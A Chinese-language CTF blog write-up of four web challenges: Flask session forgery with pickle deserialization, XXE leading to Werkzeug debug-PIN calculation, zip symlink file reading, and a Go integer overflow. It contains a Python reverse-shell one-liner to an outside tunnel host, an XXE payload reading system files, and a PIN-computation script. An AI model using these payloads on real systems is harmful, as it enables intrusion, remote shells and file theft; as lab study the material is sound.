0xGame week3-WEB wp

notebook

一眼flask的session伪造+python的pickle反序列化。

恰好moe入门的时候moeworld做过flask的session前端绕过,这次思路来得也是挺快的。

先搓个脚本构造secret_key:

import os
with open("C:\\Users\\75279\\Desktop\\dict.txt",'w') as f:
    for i in range(1,1000000):
        a = os.urandom(2).hex()
        f.write("\"{}\"\n".format(a))

随便写点东西然后点这个链接抓包抓cookie:

然后丢flask-unsign里面梭出密钥:

其实好像flask-unsign就可以全搞完,我用了个flask_session_cookie_manager解密:

里面是二进制码,应该是pickle.dumps()序列化后的字符串,接下来就是反序列化部分。

引用一下官方wp,解释得挺好的:

 参考:pickle反序列化初探 - 先知社区 (aliyun.com)

Linux反弹shell(一)文件描述符与重定向 | K0rz3n's Blog

Linux 反弹shell(二)反弹shell的本质 | K0rz3n's Blog

下面就是本人的复现:(由于十分钟重置一次,如果不一条龙做完note和secretkey就没了,所以session换了又换,密钥也更新了)

最后用的python的反弹shell。

挂个隧道:

用python实现的反弹shell的payload网上也能搜到:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("server.natappfree.cc",34039));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

获得伪造session:

结果在抓包改包的时候弹失败了....

这里有个新的思路就是tee写文件然后访问这个文件就行。还没去试,这步骤太恶心人了,就没继续复现完,大致流程应该就是这样。

 

rss_parser

XXE+算flaskPIN的题,也做过类似的。

 app.py源码:

from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        feed_url = request.form['url']
        if not re.match(r'^(http|https)://', feed_url):
            return redirect('/')

        content = requests.get(feed_url).content
        tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

        result = {}

        rss_title = tree.find('/channel/title').text
        rss_link = tree.find('/channel/link').text
        rss_posts = tree.findall('/channel/item')

        result['title'] = rss_title
        result['link'] = rss_link
        result['posts'] = []

        if len(rss_posts) >= 10:
            rss_posts = rss_posts[:10]

        for post in rss_posts:
            post_title = post.find('./title').text
            post_link = post.find('./link').text
            result['posts'].append({'title': post_title, 'link': unquote(post_link)})
 
        return render_template('index.html', feed_url=feed_url, result=result)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

其他地方没什么特别的,应该是这个位置有XXE漏洞:

所以我们直接将⼀个符合 RSS Feed XML 标准的 payload 放到 HTTP 服务器上就可以 XXE (也可以参考这个默认的https://exp10it.cn/index.xml 改⼀改)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///sys/class/net/eth0/address">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<channel>
<title>&file;</title>
<link>https://exp10it.cn/</link>
<item>
<title>test</title>
<link>https://exp10it.cn/</link>
</item>
</channel>
</rss>

几个算PIN的流程在我有个题目的wp里有:Flask PIN码生成终端RCE - Eddie_Murphy - 博客园 (cnblogs.com)

直接在RCE点换:

/etc/passwd得到flask用户名,flask.app和Flask默认的就不用说了,随便乱输url进入debug查看app.py的路径,/sys/class/net/eth0/address读mac地址,

/etc/machine-id或/proc/sys/kernel/random/boot_i读机器id,然后直接用脚本爆破PIN码。

phpstudy搭个网站,然后搭个隧道映射到公网,把这个XML写进去,然后开梭:

用户名:app

 

机器id:5dcbb593-2656-4e8e-a4e9-9a0afb803c47

mac地址:02:42:c0:a8:50:02

 

拿去转一下:

得到2485723353090。

报错得到app.py地址:/usr/local/lib/python3.9/site-packages/flask/app.py

(注意新版本 flask 计算 pin code 时⽤的是 sha1, 旧版本才是 md5)
import hashlib
from itertools import chain

probably_public_bits = [
     'app'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
 ]
 
private_bits = [
     '2485378023426',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '5dcbb593-2656-4e8e-a4e9-9a0afb803c47'# get_machine_id(), /etc/machine-id
]
 
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                        for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)

然后直接在控制台为所欲为。

 

zip_file_manager

能够在线解压缩 zip,但好像不能目录穿越。

这里想到了linux的zip软链接。

什么是软连接呢,就是可以将某个目录连接到另一个目录或者文件下,那么我们以后对这个目录的任何操作,都会作用到另一个目录或者文件下。

linux硬链接与软链接 - crazyYong - 博客园 (cnblogs.com)

【CISCN2023】unzip 详解 - gxngxngxn - 博客园 (cnblogs.com)

Linux 存在软链接这⼀功能, ⽽ zip ⽀持压缩软链接, 程序⽤ unzip 命令进⾏解压缩, 因此会存在这个漏洞
(相⽐之下如果使⽤ Python 的 zipfile 库进⾏解压缩, 就不会存在这个问题)
那么思路就很明显了,我们可以先上传一个带有软连接的压缩包,这个软连接指向网站的根目录,然后直接读flag。
ln -s / link
zip --symlinks link.zip link

然后再link文件夹里找到flag,下载下来就行了。

还有个官方wp的RCE做法:

GoShop

Go的整型溢出问题。

可以看看官方wp的详细解释:

关键部分源码:

程序使⽤了 strconv.Atoi(data["num"].(string)) 将 json 传递的 num 字符串转换成了 int 类型的变量 n;

这里判断⽤户的 money 时将其转换成了 int64 类型, ⽽ product.Price 本身也是 int64 类型。
 
 
上⾯的 BuyHandler 虽然限制了 n 不能为负数, 但是并没有限制 n 的最大值;
----因此我们可以控制 n, 使得 product.Price * int64(n) 溢出为⼀个负数, 之后进行 user.Money -=product.Price * int64(n) 运算的时候, 当前用户的 money 就会增加,
最终达到⼀个可以购买 flag 商品的⾦额,从⽽拿到 flag。
 
查阅相关⽂档可以知道 int64 类型的范围是 -9223372036854775808 ~ 9223372036854775807
经过简单的计算或者瞎猜, 可以购买数量为 922337203695477808 的 apple

然后钱就溢出变多了,直接买flag:

 

 

snapshot的SSRF有点难做,以后有时间再慢慢复现吧(汗)......

posted @ 2023-10-27 11:50  Eddie_Murphy  阅读(113)  评论(0编辑  收藏  举报